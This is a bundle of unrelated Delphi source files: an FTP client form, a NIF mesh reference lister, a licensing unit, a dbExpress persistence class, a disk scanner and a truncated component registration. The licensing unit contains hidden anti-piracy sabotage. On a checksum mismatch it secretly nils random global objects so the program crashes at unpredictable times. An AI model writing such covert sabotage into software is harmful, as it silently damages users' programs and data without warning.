function TfrmSimpleFTP.GetLocalDir: string;
begin
result := pnlLocallbl.Caption;
end;
function TfrmSimpleFTP.GetRemoteDir: string;
begin
result := ftpMain.RemoteDir;
end;
procedure TfrmSimpleFTP.SetLocalDir(const Value: string);
begin
pnlLocalLbl.Caption := Value;
actRefreshLocal.Execute;
end;
procedure TfrmSimpleFTP.SetRemoteDir(const Value: string);
begin
ftpMain.RemoteDir := Value;
actRefreshRemote.Execute;
end;
procedure TfrmSimpleFTP.stbMainDrawPanel(StatusBar: TStatusBar;
Panel: TStatusPanel; const Rect: TRect);
var
NewRect: TRect;
begin
If Panel.Index = C_PNL_STATUSBAR then begin
NewRect := Rect;
InflateRect(NewRect, 1, 1);
pbMain.BoundsRect := NewRect;
end;
end;
procedure TfrmSimpleFTP.actGetFileExecute(Sender: TObject);
begin
If not assigned(lvRemote.Selected) then
exit;
Screen.Cursor := crAppStart;
try
stbMain.Panels[C_PNL_STATUSTEXT].Text :=
Format(S_FTP_GETTING_FILE, [lvRemote.Selected.Caption]);
memStatus.Lines.Add(
stbMain.Panels[C_PNL_STATUSTEXT].Text
);
ftpMain.LocalDir := LocalDir;
try
ftpMain.GetFile(lvRemote.Selected.Caption);
except
On E: Exception do begin
memStatus.Lines.Add(E.Message);
memStatus.Lines.Add(ftpMain.LastError);
end;
end;
finally
Screen.Cursor := crDefault;
end;
end;
procedure TfrmSimpleFTP.ftpMainTransferProgress(Sender: TObject;
ProgressInfo: TFTPProgressInfo);
begin
stbMain.Refresh;
end;
procedure TfrmSimpleFTP.actPutFileExecute(Sender: TObject);
begin
If not assigned(lvLocal.Selected) then
exit;
Screen.Cursor := crAppStart;
try
stbMain.Panels[C_PNL_STATUSTEXT].Text :=
Format(S_FTP_PUTTING_FILE, [lvLocal.Selected.Caption]);
memStatus.Lines.Add(
stbMain.Panels[C_PNL_STATUSTEXT].Text
);
ftpMain.LocalDir := LocalDir;
try
ftpMain.PutFile(lvLocal.Selected.Caption);
except
On E: Exception do begin
memStatus.Lines.Add(E.Message);
memStatus.Lines.Add(ftpMain.LastError);
end;
end;
finally
Screen.Cursor := crDefault;
end;
end;
procedure TfrmSimpleFTP.lvLocalSelectItem(Sender: TObject; Item: TListItem;
Selected: Boolean);
begin
actPutFile.Enabled :=
(Selected)
and
not (GetListItemType(Item) = itFolder)
and
(ftpMain.State = fsConnected);
end;
function TfrmSimpleFTP.GetShellInfo(const FileName: string;
dwFileAttributes: DWORD): TSHFileInfo;
begin
SHGetFileInfo(PChar(FileName), dwFileAttributes, result, SizeOf(TSHFileInfo),
SHGFI_SYSICONINDEX or SHGFI_USEFILEATTRIBUTES);
end;
function TfrmSimpleFTP.GetListItemType(Item: TListItem): TListItemType;
begin
If not assigned(Item.Data) then begin
result := itFile;
exit;
end;
If (TWin32FindData(Item.Data^).dwFileAttributes and faDirectory <> 0) then
result := itFolder
else
result := itFile;
end;
procedure TfrmSimpleFTP.actCDUPLocalExecute(Sender: TObject);
begin
LocalDir := ParentDir(LocalDir, '\');
end;
end.
|
{
List blocks and their references in a NIF mesh.
Unreferenced blocks are not shown.
}
unit NifListBlockRefs;
procedure ListRefs(aNifFileName: string);
var
nif: TwbNifFile;
block, b: TwbNifBlock;
ref: TdfElement;
sl: TStringList;
lst: TList;
i, j: integer;
begin
nif := TwbNifFile.Create;
sl := TStringList.Create;
try
nif.LoadFromFile(aNifFileName);
// fill with all block names and TList objects to hold referencing elements
for i := 0 to Pred(nif.BlocksCount) do
sl.AddObject(nif.Blocks[i].Name, TList.Create);
// iterate over all nif blocks
for i := 0 to Pred(nif.BlocksCount) do begin
block := nif.Blocks[i];
// iterate over references contained in each block
for j := 0 to Pred(block.RefsCount) do begin
ref := block.Refs[j];
// find the block a ref is pointing to
b := TwbNifBlock(ref.LinksTo);
// add ref to the list of that block
if Assigned(b) then
TList(sl.Objects[b.Index]).Add(ref);
end;
end;
// show blocks and refs
AddMessage(#13'List of blocks and their references in ' + aNifFileName);
for i := 0 to Pred(sl.Count) do begin
lst := TList(sl.Objects[i]);
// skip unreferenced blocks
if lst.Count = 0 then Continue;
AddMessage(sl[i]);
for j := 0 to Pred(lst.Count) do
AddMessage(#9 + TdfElement(lst[j]).Path);
end;
finally
nif.Free;
for i := 0 to Pred(sl.Count) do
TList(sl.Objects[i]).Free;
sl.Free;
end;
end;
function Initialize: Integer;
var
dlg: TOpenDialog;
begin
Result := 1;
dlg := TOpenDialog.Create(nil);
try
dlg.Filter := 'NIF files (*.nif)|*.nif';
dlg.InitialDir := wbDataPath;
if dlg.Execute then
ListRefs(dlg.FileName);
finally
dlg.Free;
end;
end;
end.
|
unit UAppEditionInfo;
interface
uses classes, SysUtils, DateUtils, Defence, Forms, UChangeInfo, IniFiles, UMyUtil;
type
AppUpgradeModeUtil = class
public
class function getIsPrivateApp : Boolean;
class procedure SetPrivateApp;
class procedure SetNormalApp;
end;
// 检查盗版状态 线程
TAppPiracyCheckThread = class( TThread )
public
constructor Create;
destructor Destroy; override;
protected
procedure Execute; override;
private
function getAppPiracy : Boolean;
procedure MakeAppError;
procedure ShowPiracyFace;
end;
const
Ini_Application : string = 'Application';
Ini_Application_UpgradeMode : string = 'UpgradeMode';
UpgradeMode_PrivateMode : string = 'PrivateMode';
var
AppPiracyCheckThread : TAppPiracyCheckThread;
implementation
uses UMainForm, UMyClient, UMyBackupInfo, UBackupInfoFace, UNetworkFace, UMyNetPcInfo, UMyJobInfo;
{ TCheckAppPiracyThread }
procedure TAppPiracyCheckThread.MakeAppError;
var
RanNum : Integer;
begin
Randomize;
RanNum := Random( 6 );
if RanNum = 0 then
MyClient := nil
else
if RanNum = 1 then
MyBackupFileInfo := nil
else
if RanNum = 2 then
MyNetPcInfo := nil
else
if RanNum = 3 then
MyJobInfo := nil
else
if RanNum = 4 then
MyBackupFileFace := nil
else
if RanNum = 5 then
MyNetworkFace := nil
end;
procedure TAppPiracyCheckThread.ShowPiracyFace;
begin
frmMainForm.Caption := ' ' + frmMainForm.Caption;
end;
constructor TAppPiracyCheckThread.Create;
begin
inherited Create( True );
end;
destructor TAppPiracyCheckThread.Destroy;
begin
Terminate;
Resume;
WaitFor;
inherited;
end;
procedure TAppPiracyCheckThread.Execute;
var
StartTime : TDateTime;
IsPraicy : Boolean;
begin
// 获取是否盗版
IsPraicy := getAppPiracy;
if IsPraicy then
begin
Synchronize( ShowPiracyFace ); // 界面显示
// Memory_IsFree := False; // 不释放内存
end;
while not Terminated and IsPraicy do
begin
StartTime := Now;
while not Terminated and ( MinutesBetween( Now, StartTime ) < 10 ) do
Sleep( 100 );
// 程序结束
if Terminated then
Break;
// 出错的概率 1 / 12 , 两小时内
Randomize;
if Random( 12 ) <> 0 then
Continue;
// 改变状态
MakeAppError;
end;
inherited;
end;
function TAppPiracyCheckThread.getAppPiracy: Boolean;
var
MyCRC32: longInt;
strA, strB: string;
begin
MyCRC32 := $00112233;
MyFileCRC32(Application.ExeName, MyCRC32);
strA := inttohex(TrueCRC32, 8);
strB := inttohex(MyCRC32, 8);
Result := CompareStr(strA, strB) <> 0;
end;
{ AppUpgradeModeUtil }
class function AppUpgradeModeUtil.getIsPrivateApp: Boolean;
var
iniFile : TIniFile;
begin
iniFile := TIniFile.Create( MyIniFile.getIniFilePath );
Result := iniFile.ReadString( Ini_Application, Ini_Application_UpgradeMode, '' ) = UpgradeMode_PrivateMode;
iniFile.Free;
end;
class procedure AppUpgradeModeUtil.SetNormalApp;
var
iniFile : TIniFile;
begin
iniFile := TIniFile.Create( MyIniFile.getIniFilePath );
iniFile.WriteString( Ini_Application, Ini_Application_UpgradeMode, '' );
iniFile.Free;
end;
class procedure AppUpgradeModeUtil.SetPrivateApp;
var
iniFile : TIniFile;
begin
iniFile := TIniFile.Create( MyIniFile.getIniFilePath );
iniFile.WriteString( Ini_Application, Ini_Application_UpgradeMode, UpgradeMode_PrivateMode );
iniFile.Free;
end;
end.
|
unit UPersistentObjectDBX;
interface
uses UPersistentObject, SqlExpr, Contnrs, DB, Classes;
type
TPersistentObjectDBX = class;
TPersistentObjectDBXClass = class of TPersistentObjectDBX;
TPersistentObjectDBXList = class(TObjectList)
private
function GetItem(Index: Integer): TPersistentObjectDBX;
procedure SetItem(Index: Integer; const Value: TPersistentObjectDBX);
public
property Items[Index: Integer]: TPersistentObjectDBX read GetItem write SetItem; default;
end;
// Classe base de persistência usando dbExpress
TPersistentObjectDBX = class(TPersistentObject)
private
FSQLConnection: TSQLConnection;
FDependentConnectionObjects: TPersistentObjectDBXList;
class var FInsertSQL: TStringList;
class var FUpdateSQL: TStringList;
class var FClassList: TStringList;
class function GetClassList: TStringList; static;
class function GetInsertSQL: TStringList; static;
class function GetUpdateSQL: TStringList; static;
function BuildInsertSQL: string;
function BuildUpdateSQL: string;
function BuildValidateDuplicitySQL: String;
protected
// Método para setar o valor de um param tipo Double
procedure SetDoubleParam(Param: TParam; const Value: Double); virtual;
// Método para setar o valor de um param tipo Date
procedure SetDateParam(Param: TParam; const Value: TDateTime); virtual;
// Método para setar o valor de um param tipo Integer
procedure SetIntegerParam(Param: TParam; const Value: Integer); virtual;
// Método para setar o valor de um param tipo String
procedure SetStringParam(Param: TParam; const Value: String); virtual;
procedure InternalAssignValueToParams(Params: TParams); virtual;
procedure AssignValueToParams(Params: TParams);
procedure InitObject; override;
function Insert: Boolean; override;
function Update: Boolean; override;
procedure CheckInstance(var PersistentObject: TPersistentObjectDBX; AClass: TPersistentObjectDBXClass);
// Método de escrita da propriedade SQLConnection
procedure SetSQLConnection(const Value: TSQLConnection); virtual;
function GetAdditionalFilter(InitialFilter: String): string; virtual;
function GetFilterOrderClause(const RecordType: TRecordType = rtAll): String; virtual;
// Propriedade que define os objetos dependentes de conexão
property DependentConnectionObjects: TPersistentObjectDBXList read FDependentConnectionObjects;
class property ClassList: TStringList read GetClassList;
class property InsertSQL: TStringList read GetInsertSQL;
class property UpdateSQL: TStringList read GetUpdateSQL;
public
destructor Destroy; override;
class function GetTableName: String; override;
constructor Create(SQLConnection: TSQLConnection); overload; virtual;
// Construtor para já inicializar algumas propriedade do objeto
constructor Create(SQLConnection: TSQLConnection; const DefaultProperties: array of string;
const DefaultValues: array of Variant); overload; virtual;
constructor Create(const GetChildOnDemand: Boolean); override;
function IsDuplicated: Boolean; override;
published
function Find(const Filter: string; const RecordType: TRecordType = rtAll): Boolean; overload; override;
function Delete: Boolean; override;
property _SQLConnection: TSQLConnection read FSQLConnection write SetSQLConnection;
end;
implementation
uses UdbExpressFunctions, SysUtils, UStringFunctions, TypInfo, UDicionario,
UDBFunctions, StrUtils, USistemaException;
{ TPersistentObjectDBX }
constructor TPersistentObjectDBX.Create(SQLConnection: TSQLConnection);
begin
inherited Create;
Self._SQLConnection := SQLConnection;
end;
/// <summary>
/// Construtor para já inicializar algumas propriedade do objeto
/// </summary>
/// <param name="SQLConnection">Conexão SQLConnection</param>
/// <param name="DefaultProperties">Propriedades a serem inicializadas</param>
/// <param name="DefaultValues">Valores da propriedades</param>
constructor TPersistentObjectDBX.Create(SQLConnection: TSQLConnection;
const DefaultProperties: array of string;
const DefaultValues: array of Variant);
begin
inherited Create(DefaultProperties, DefaultValues);
Self._SQLConnection := SQLConnection;
end;
procedure TPersistentObjectDBX.AssignValueToParams(Params: TParams);
begin
TDBFunctions.ClearParams(Params);
InternalAssignValueToParams(Params);
end;
function TPersistentObjectDBX.BuildInsertSQL: string;
var
sInsert, sValues: string;
c, i: Integer;
sAux: String;
PropList: TPropList;
iIndiceClasse: Integer;
begin
iIndiceClasse := ClassList.IndexOf(Self.ClassName);
if (iIndiceClasse = -1) or TStringFunctions.IsEmpty(InsertSQL[iIndiceClasse]) then
begin
// Iniciando instrução SQL
sInsert := Format('INSERT INTO %s (', [Self.GetTableName]);
sValues := 'VALUES (';
// Obtendo lista de propriedades do objeto
c := GetPropList(Self.ClassInfo, tkProperties, @PropList);
sAux := '';
// Finalizando montagem da instrução
for i := 0 to Pred(c) do
// Propriedades iniciadas com '_' não devem ser persistidas
if Copy(PropList[i].Name, 1, 1) <> '_' then
begin
sInsert := sInsert + Format('%s%s', [sAux, Dicionario.Valor(PropList[i].Name)]);
sValues := sValues + Format('%s:%s', [sAux, PropList[i].Name]);
sAux := ', '
end;
// Fechando parêntes da instrução
sInsert := sInsert + ') ';
sValues := sValues + ')';
Result := sInsert + sValues;
if iIndiceClasse = -1 then
begin
iIndiceClasse := ClassList.Add(Self.ClassName);
if iIndiceClasse <= InsertSQL.Count - 1 then
begin
InsertSQL.Insert(iIndiceClasse, Result);
UpdateSQL.Insert(iIndiceClasse, '');
end
else
begin
InsertSQL.Add(Result);
UpdateSQL.Add('');
end;
end
else InsertSQL[iIndiceClasse] := Result;
end
else Result := InsertSQL[iIndiceClasse];
end;
function TPersistentObjectDBX.BuildUpdateSQL: string;
var
sUpdate, sWhere, sField, sParam: string;
c, i: Integer;
sAux: String;
PropList: TPropList;
iIndiceClasse: Integer;
sAuxWhere: string;
begin
iIndiceClasse := ClassList.IndexOf(Self.ClassName);
if (iIndiceClasse = -1) or TStringFunctions.IsEmpty(UpdateSQL[iIndiceClasse]) then
begin
// Iniciando instrução SQL
sUpdate := Format('UPDATE %s SET ', [Self.GetTableName]);
sWhere := ' WHERE ';
// Obtendo lista de propriedades do objeto
c := GetPropList(Self.ClassInfo, tkProperties, @PropList);
sAux := '';
sAuxWhere := '';
// Finalizando montagem da instrução
for i := 0 to Pred(c) do
// Propriedades iniciadas com '_' não devem ser persistidas
if Copy(PropList[i].Name, 1, 1) <> '_' then
begin
sField := Dicionario.Valor(PropList[i].Name);
sUpdate := sUpdate + Format('%s%s = :%s', [sAux, sField, PropList[i].Name]);
// if TStringFunctions.Contains(PropList[i].Name, Self.GetIdField, False) then
// begin
// sWhere := sWhere + Format('%s%s = :Old_%s', [sAuxWhere, sField, PropList[i].Name]);
// sAuxWhere := ' AND ';
// end;
sAux := ', '
end;
Result := sUpdate + sWhere;
if iIndiceClasse = -1 then
begin
iIndiceClasse := ClassList.Add(Self.ClassName);
if iIndiceClasse <= InsertSQL.Count - 1 then
begin
InsertSQL.Insert(iIndiceClasse, '');
UpdateSQL.Insert(iIndiceClasse, Result);
end
else
begin
InsertSQL.Add('');
UpdateSQL.Add(Result);
end;
end
else UpdateSQL[iIndiceClasse] := Result;
end
else Result := UpdateSQL[iIndiceClasse];
end;
function TPersistentObjectDBX.BuildValidateDuplicitySQL: String;
var
sSelect, sWhere: string;
// aFieldIDArray: TArrayStr;
i: Integer;
flag: Boolean;
begin
// aFieldIDArray := Self.GetIdField;
// if Length(aFieldIDArray) = 0 then
// raise ESistemaException.Create('O método ''GetIdField'' não foi implementado na classe ' + Self.ClassName);
sSelect := Format('SELECT COUNT(*) AS QTD FROM %s ', [Self.GetTableName]);
sWhere := 'WHERE ';
flag := False;
// for i := 0 to (Length(aFieldIDArray) - 1) do
// begin
// if flag then sWhere := sWhere + ' AND ';
// sWhere := sWhere + Format('(%s = :%s)', [Dicionario.Valor(aFieldIDArray[i]), aFieldIDArray[i]]);
//
// flag := True;
// end;
Result := sSelect + sWhere;
end;
procedure TPersistentObjectDBX.CheckInstance(
var PersistentObject: TPersistentObjectDBX; AClass: TPersistentObjectDBXClass);
begin
if not Assigned(PersistentObject) then
begin
PersistentObject := AClass.Create(Self._SQLConnection);
Self.DependentConnectionObjects.Add(PersistentObject);
end;
end;
constructor TPersistentObjectDBX.Create(const GetChildOnDemand: Boolean);
begin
Self.Create(nil);
Self.GetChildOnDemand := GetChildOnDemand;
end;
function TPersistentObjectDBX.Delete: Boolean;
var
i: integer;
sAux: string;
objQry: TSQLQuery;
begin
objQry := TdbExpressFunctions.SQLDataSet(TSQLQuery, Self._SQLConnection) as TSQLQuery;
try
sAux := '';
// Montando instrução de deleção
objQry.SQL.Add(Format('DELETE FROM %s', [Self.GetTableName]));
objQry.SQL.Add('WHERE ');
// Obtendo valor dos campos chave
// for i := Low(Self.GetIdField) to High(Self.GetIdField) do
// begin
// objQry.SQL.Add(Format('%s %s = :%s', [sAux, Dicionario.Valor(Self.GetIdField[i]), Self.GetIdField[i]]));
//
// sAux := 'AND';
// end;
Self.AssignValueToParams(objQry.Params);
objQry.ExecSQL();
Self.Clear;
Result := True;
finally
objQry.Free;
end;
end;
procedure TPersistentObjectDBX.InternalAssignValueToParams(Params: TParams);
var
i: Integer;
PropInfo: PPropInfo;
sParam, sField: string;
bIsOldValue, bHasParam: boolean;
objParam: TParam;
begin
// Atribuindo valores para os parâmetros
for i := 0 to Params.Count - 1 do
begin
sParam := Params[i].Name;
bIsOldValue := Pos('Old_', sParam) > 0;
if bIsOldValue then
begin
System.Delete(sParam, 1, 4);
sField := Dicionario.Valor(sParam);
bHasParam := Assigned(Self.OriginalIDValues.FindParam(sField));
end
else bHasParam := False;
if bHasParam then
begin
objParam := Self.OriginalIDValues.FindParam(sField);
case objParam.DataType of
ftInteger: Params[i].AsInteger := objParam.AsInteger;
ftDate : Params[i].AsDate := objParam.AsDate;
ftFloat: Params[i].AsFloat := objParam.AsFloat;
ftString,ftFixedChar: Params[i].AsString := objParam.AsString;
end;
end
else
begin
// Verificando se a propriedade não é nula
if not Self.IsPropertyNull(sParam) then
case PropType(Self, sParam) of
tkInteger: Params[i].AsInteger := GetOrdProp(Self, sParam);
tkFloat:
begin
// Verificando se o tipo é date time
PropInfo := GetPropInfo(Self, sParam);
if TStringFunctions.Contains(PropInfo^.PropType^.Name, ['TDateTime', 'TDate'], False) then
Params[i].AsDate := GetFloatProp(Self, sParam)
else
Params[i].AsFloat := GetFloatProp(Self, sParam);
end;
tkChar, tkString, tkLString, tkUString:
begin
PropInfo := GetPropInfo(Self, sParam);
if SameText(PropInfo^.PropType^.Name, 'TMemoString') then
Params[i].AsMemo := GetStrProp(Self, sParam)
else
Params[i].AsString := GetStrProp(Self, sParam);
end;
end;
end;
end;
end;
destructor TPersistentObjectDBX.Destroy;
begin
FDependentConnectionObjects.Free;
inherited;
end;
/// <summary>
/// Método para efetuar pesquisa no banco de acordo com o Filtro
/// </summary>
/// <param name="Filter">Filtro da pesquisa</param>
/// <returns>True se achou objeto e False caso contrário</returns>
function TPersistentObjectDBX.Find(const Filter: string; const RecordType: TRecordType): Boolean;
var
qry: TSQLQuery;
i: Integer;
sCampo, EditFilter: string;
begin
// Instanciando query
qry := TdbExpressFunctions.SQLDataSet(TSQLQuery, Self._SQLConnection) as TSQLQuery;
// Montando consulta
case RecordType of
rtAll: qry.SQL.Add(Format('SELECT * FROM %s', [Self.GetTableName]));
rtFirst, rtLast: qry.SQL.Add(Format('SELECT FIRST 1 * FROM %s', [Self.GetTableName]));
end;
EditFilter := Filter + Self.GetAdditionalFilter(Filter);
// Verificando se foi passado Filter
if TStringFunctions.IsFull(EditFilter) then
qry.SQL.Add(Format('WHERE %s', [EditFilter]));
if RecordType in [rtFirst, rtLast] then
qry.SQL.Add(GetFilterOrderClause(RecordType));
// Abrindo consulta
qry.Open;
// Verificando resultado
Result := not qry.IsEmpty;
// Inicilando valores
Self.Clear;
// Setando valores se o resultado foi verdadeiro
if Result then
// Loop nos campos retornados para verificar os campos que serão setados
for i := 0 to qry.FieldCount - 1 do
begin
sCampo := Dicionario.Significado(qry.Fields[i].FieldName);
// Verificando se a propriedade com o nome do campo é publicada para setar o valor
if IsPublishedProp(Self, sCampo) then
if not qry.Fields[i].IsNull then
begin
// if TStringFunctions.Contains(sCampo, Self.GetIdField, False) then
// SetOriginalIdFieldValue(qry.Fields[i]);
SetPropValue(Self, sCampo, qry.Fields[i].Value);
end;
end;
// Fechando e destruindo a query
qry.Free;
// Definindo se o objeto é novo de acordo com o resultado da função
Self.New := not Result;
if Self.New then Self.SetDefaultValues;
end;
function TPersistentObjectDBX.GetAdditionalFilter(
InitialFilter: String): string;
begin
Result := '';
end;
class function TPersistentObjectDBX.GetClassList: TStringList;
begin
if not Assigned(FClassList) then
begin
FClassList := TStringList.Create;
FClassList.Sorted := True;
end;
Result := FClassList;
end;
class function TPersistentObjectDBX.GetInsertSQL: TStringList;
begin
if not Assigned(FInsertSQL) then
FInsertSQL := TStringList.Create;
Result := FInsertSQL;
end;
function TPersistentObjectDBX.GetFilterOrderClause(const RecordType: TRecordType): String;
begin
// Result := (Format('ORDER BY %s %s', [Dicionario.Valor(Self.GetIdField[0]), IfThen(RecordType = rtLast, 'DESC')]));
end;
class function TPersistentObjectDBX.GetTableName: String;
begin
Result := Dicionario.Valor(Self.ClassName);
end;
class function TPersistentObjectDBX.GetUpdateSQL: TStringList;
begin
if not Assigned(FUpdateSQL) then
FUpdateSQL := TStringList.Create;
Result := FUpdateSQL;
end;
procedure TPersistentObjectDBX.InitObject;
begin
inherited;
FDependentConnectionObjects := TPersistentObjectDBXList.Create(False);
end;
function TPersistentObjectDBX.Insert: Boolean;
var
objQry: TSQLQuery;
begin
Result := False;
// Instanciando objetos
objQry := TdbExpressFunctions.SQLDataSet(TSQLQuery, Self._SQLConnection) as TSQLQuery;
try
objQry.SQL.Add(BuildInsertSQL);
Self.AssignValueToParams(objQry.Params);
objQry.ExecSQL();
Result := True;
Self.New := False;
finally
objQry.Free;
end;
end;
procedure TPersistentObjectDBX.SetDateParam(Param: TParam; const Value: TDateTime);
begin
if Value <> NullDoubleValue(Param.Name) then
Param.AsDate := Value;
end;
procedure TPersistentObjectDBX.SetDoubleParam(Param: TParam;
const Value: Double);
begin
if Value <> NullDoubleValue(Param.Name) then
Param.AsFloat := Value;
end;
procedure TPersistentObjectDBX.SetIntegerParam(Param: TParam;
const Value: Integer);
begin
if Value <> NullIntegerValue(Param.Name) then
Param.AsInteger := Value;
end;
procedure TPersistentObjectDBX.SetSQLConnection(const Value: TSQLConnection);
var
i: Integer;
begin
FSQLConnection := Value;
for i := 0 to Self.DependentConnectionObjects.Count - 1 do
Self.DependentConnectionObjects[i]._SQLConnection := Value;
end;
procedure TPersistentObjectDBX.SetStringParam(Param: TParam;
const Value: String);
begin
if Value <> NullStringValue(Param.Name) then
Param.AsString := Value;
end;
function TPersistentObjectDBX.Update: Boolean;
var
objQry: TSQLQuery;
begin
Result := False;
// Instanciando objetos
objQry := TdbExpressFunctions.SQLDataSet(TSQLQuery, Self._SQLConnection) as TSQLQuery;
try
objQry.SQL.Add(Self.BuildUpdateSQL);
Self.AssignValueToParams(objQry.Params);
objQry.ExecSQL();
Result := True;
finally
objQry.Free;
end;
end;
function TPersistentObjectDBX.IsDuplicated: Boolean;
var
objQry: TSQLQuery;
bChangePrimaryKey: Boolean;
iRegistrosBanco: Integer;
sField: string;
i: Integer;
OldObjParam: TParam;
// aFieldIDArray: TArrayStr;
begin
objQry := TdbExpressFunctions.SQLDataSet(TSQLQuery, Self._SQLConnection) as TSQLQuery;
try
objQry.SQL.Add(BuildValidateDuplicitySQL);
Self.AssignValueToParams(objQry.Params);
objQry.Open;
iRegistrosBanco := objQry.FieldByName('QTD').AsInteger;
bChangePrimaryKey := False;
// aFieldIDArray := Self.GetIdField;
//
// for i := 0 to (Length(aFieldIDArray) - 1) do
// begin
// sField := Dicionario.Valor(aFieldIDArray[i]);
//
// if not(Self.IsPropertyNull(aFieldIDArray[i])) then
// begin
// OldObjParam := Self.OriginalIDValues.FindParam(sField);
// if Assigned(OldObjParam) then
// begin
// case OldObjParam.DataType of
// ftInteger: bChangePrimaryKey := OldObjParam.AsInteger <> GetOrdProp(Self, aFieldIDArray[i]);
// ftFloat: bChangePrimaryKey := FormatFloat('0.00', OldObjParam.AsFloat) <> FormatFloat('0.00', GetFloatProp(Self, aFieldIDArray[i]));
// ftString,ftFixedChar: bChangePrimaryKey := OldObjParam.AsString <> GetStrProp(Self, aFieldIDArray[i]);
// ftdate: bChangePrimaryKey := OldObjParam.AsDate <> GetFloatProp(Self, aFieldIDArray[i]);
// end;
// end;
// end;
// if bChangePrimaryKey then Break;
// end;
Result := ((Self.New) or (bChangePrimaryKey)) and (iRegistrosBanco <> 0);
finally
objQry.Free;
end;
end;
{ TPersistentObjectDBXList }
function TPersistentObjectDBXList.GetItem(Index: Integer): TPersistentObjectDBX;
begin
Result := inherited GetItem(Index) as TPersistentObjectDBX;
end;
procedure TPersistentObjectDBXList.SetItem(Index: Integer;
const Value: TPersistentObjectDBX);
begin
inherited SetItem(Index, Value);
end;
end.
|
//扫描指定路径
unit uJxdScanDisk;
interface
uses
Windows, SysUtils, Classes, StrUtils, uJxdThread;
type
TOnScanResultEvent = procedure(Sender: TObject; const APath: string; const AInfo: TSearchRec) of object;
TxdScanDisk = class
public
constructor Create;
destructor Destroy; override;
function ScanDisk(ASaveFileNameList: TStrings = nil): Boolean;
private
FFilesList: TStrings;
FScaning: Boolean;
FScanPaths: TStringList;
FScanByThread: Boolean;
FAbort: PBoolean;
FScanDepth: Integer;
FOnScanResultEvent: TOnScanResultEvent;
FScanFileExt: string;
FOnScanFinished: TNotifyEvent;
procedure DoScanDisk;
function IsScanPath(const APath: string): Boolean;
procedure DoScanResult(const APath: string; const AInfo: TSearchRec);
procedure SetScanByThread(const Value: Boolean);
procedure SetScanDepth(const Value: Integer);
procedure SetScanFileExt(const Value: string);
public
property Abort: PBoolean read FAbort write FAbort;
property Scaning: Boolean read FScaning;
property ScanByThread: Boolean read FScanByThread write SetScanByThread;
property ScanFileExt: string read FScanFileExt write SetScanFileExt; //扫描文件扩展名;空表示扫描所有,否则使用 Pos 来判断; *.mp3;*.wmv;
property ScanPath: TStringList read FScanPaths; //开始扫描路径
property ScanDepth: Integer read FScanDepth write SetScanDepth; //扫描深度(文件夹深度,<=0表示扫描所有子文件夹)
property OnScanFinished: TNotifyEvent read FOnScanFinished write FOnScanFinished;
property OnScanResultEvent: TOnScanResultEvent read FOnScanResultEvent write FOnScanResultEvent;
end;
implementation
{ TxdScanDisk }
constructor TxdScanDisk.Create;
begin
FScaning := False;
FScanByThread := True;
FScanPaths := TStringList.Create;
FScanDepth := -1;
New( FAbort );
FAbort^ := False;
end;
destructor TxdScanDisk.Destroy;
begin
while Scaning do
FAbort^ := True;
Dispose( FAbort );
FScanPaths.Free;
inherited;
end;
procedure TxdScanDisk.DoScanDisk;
procedure ScanPath(const APath: string; ACurDepth: Integer);
var
SearchRec: TSearchRec;
begin
if (FScanDepth > 0) and (ACurDepth >= FScanDepth) then Exit;
if not IsScanPath(APath) then Exit;
if FindFirst(APath + '*', faAnyFile, SearchRec) <> 0 then Exit;
try
repeat
if FAbort^ then Break;
if (SearchRec.Name = '.') or (SearchRec.Name = '..') then
Continue;
if (SearchRec.Attr and faDirectory) = faDirectory then
begin
//文件夹
ScanPath( APath + SearchRec.Name + '\', ACurDepth + 1 );
end
else
begin
//文件
DoScanResult( APath, SearchRec );
end;
until ( FindNext(SearchRec) <> 0 );
finally
FindClose( SearchRec );
end;
end;
var
i: Integer;
begin
FScaning := True;
try
for i := 0 to FScanPaths.Count - 1 do
begin
if FAbort^ then Break;
ScanPath( IncludeTrailingPathDelimiter(FScanPaths[i]), 0 );
end;
finally
FScaning := False;
end;
if Assigned(OnScanFinished) then
OnScanFinished( Self );
end;
procedure TxdScanDisk.DoScanResult(const APath: string; const AInfo: TSearchRec);
var
ext: string;
bNotify: Boolean;
begin
bNotify := True;
if (FScanFileExt <> '') then
begin
ext := ExtractFileExt( AInfo.Name );
if PosEx( LowerCase(ext), FScanFileExt ) <= 0 then
bNotify := False;
end;
if bNotify then
begin
if Assigned(FFilesList) then
FFilesList.Add( APath + AInfo.Name );
if Assigned(OnScanResultEvent) then
OnScanResultEvent( Self, APath, AInfo );
end;
end;
function TxdScanDisk.IsScanPath(const APath: string): Boolean;
begin
Result := True;
end;
function TxdScanDisk.ScanDisk(ASaveFileNameList: TStrings): Boolean;
begin
Result := not FScaning and (FScanPaths.Count <> 0);
if Result then
begin
FFilesList := ASaveFileNameList;
FAbort^ := False;
if ScanByThread then
RunningByThread( DoScanDisk )
else
DoScanDisk;
end;
end;
procedure TxdScanDisk.SetScanByThread(const Value: Boolean);
begin
if not FScaning and (FScanByThread <> Value) then
FScanByThread := Value;
end;
procedure TxdScanDisk.SetScanDepth(const Value: Integer);
begin
if not FScaning and (FScanDepth <> Value) then
FScanDepth := Value;
end;
procedure TxdScanDisk.SetScanFileExt(const Value: string);
begin
if not FScaning then
FScanFileExt := LowerCase( Value );
end;
end.
|
unit regf2h;
{*******************************************************}
{ }
{ Form to HTML converter "F2H" }
{ Register component to Delphi palette }
{ }
{ Copyright (c) 1998-2018 HREF Tools Corp. }
{ http://www.href.com/f2h }
{ }
{ This file is licensed under a Creative Commons }
{ Share-Alike 3.0 License. }
{ http://creativecommons.org/licenses/by-sa/3.0/ }
{ If you use this file, please keep this notice }
{ intact. }
{ }
{ Developed by HREF Tools Corp. 1998-2011 }
{ First author: Philippe Maquet }
{ }
{*******************************************************}
interface
{$I hrefdefines.inc}
uses
SysUtils, Controls;
procedure Register;
implementation
uses
Classes,
DesignIntf,
f2h, f2hDsgnt;
procedure Register;
begin
RegisterComponentEditor(TwhForm2HTML, TwhForm2HTMLEditor);
RegisterPropertyEditor(TypeInfo(THFormElement), TWHForm2HTML,
'Attributes', THAttributesEditor);
RegisterPropertyEditor(TypeInfo(TFileName), TWHForm2HTML,
'ExportFName', THExportFNameEditor);
RegisterPropertyEditor(TypeInfo(TFileName), TWHForm2HTML,
'ExportWHChunkFName', THExportWHChunkFNameEditor);
RegisterPropertyEditor(TypeInfo(Boolean), TWHForm2HTML,
'BrowseIt', THBrowseItEditor);
RegisterPropertyEditor(TypeInfo(Boolean), TWHForm2HTML,
'BrowseWHChunk', THBrowseWHChunkEditor);
RegisterPropertyEditor(TypeInfo(TWinControl), TWHForm2HTML,
'MainContainer', THMainContainerEditor);
